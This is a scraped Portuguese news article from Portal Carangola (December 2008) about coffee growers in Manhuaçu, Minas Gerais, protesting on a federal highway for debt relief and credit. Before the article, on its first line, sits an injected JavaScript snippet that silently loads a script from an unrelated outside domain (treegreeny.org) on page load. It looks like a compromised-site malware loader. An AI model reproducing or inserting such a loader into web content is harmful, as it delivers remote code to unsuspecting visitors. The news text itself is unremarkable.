;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Cafeicultores pedem socorro - Portal Carangola

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Cafeicultores pedem socorro

soscafe_5Os cafeicultores da Zona da Mata de Minas Gerais fecharam o cruzamento das rodovias federais (BR-116 com BR-262) no distrito de Realeza, em Manhuaçu, na manhã deste sábado (27). Com um movimento chamado SOS Café, produtores rurais e suas famílias aproveitaram o fluxo de veículos em direção ao litoral do Espírito Santo para chamar a atenção para a “morte dos cafeicultores”. A manifestação dos agricultores é mais uma forma de pressão sobre o governo para a edição de um pacote amplo de ajuda ao setor, que inclua a suspensão do pagamento de dívidas, o preço mínimo e novas linhas de crédito para que continuem produzindo. Com faixas e cartazes, os produtores foram para a estrada protestar. A manifestação pacífica não chegou a interromper o fluxo de veículos. Eles criaram um corredor obrigando os motoristas a verem o protesto com caminhões, tratores e até um caixão. “Há uma percepção errônea do governo de que o café não precisa de ajuda. A extensão da crise é muito maior do que se imagina. Acumulamos prejuízos, os custos estão muito altos e estamos com dificuldades para pagar as dívidas negociadas”, diz Lino da Costa e Silva, presidente do Sindicato Rural de Manhuaçu. O agronegócio do café sofre com os custos de combustível, adubos e mão de obra.

soscafe_23O produtor de café Sergio Cotrim D´Alessandro explica que, assim como os demais segmentos do agronegócio, os produtores de café sofrem com os preços em patamares muito próximos aos custos de produção. Para a maioria dos produtores, isso significa a morte de suas atividades. Eles não conseguem quitar as dívidas com o que produzem. “Impossível honrar compromissos desta forma”, afirmou.

As reivindicações dos cafeicultores foram entregues aos motoristas numa carta aberta. Para Lino da Costa e Silva, os produtores estão sendo tratados como bandidos, enquanto na realidade são a mola-mestre da economia regional e nacional. “A nossa região, mais do que outras, depende da produção de café. Uma crise nesse setor gera desemprego no campo e redução de trabalho e renda na cidade. Toda a cadeia econômica desaba”, reclamou.

Manhuaçu figura como a décima cidade em produção de café no ano de 2007, de acordo com dados divulgados pelo IBGE, na semana passada. O impacto da crise tem afetado o campo de forma violenta. “As medidas anunciadas até agora não chegaram ao campo e nem ao pequeno produtor. Parece que querem tomar nossa terra”, afirmou um dos produtores durante o protesto. Lino Costa e Silva completou: “Nossa região é formada de pequenos produtores e agricultores familiares. Eles não agüentam esperar mais”.

Jailton Pereira – Eduardo Satil – 20:11 – 27/12/08

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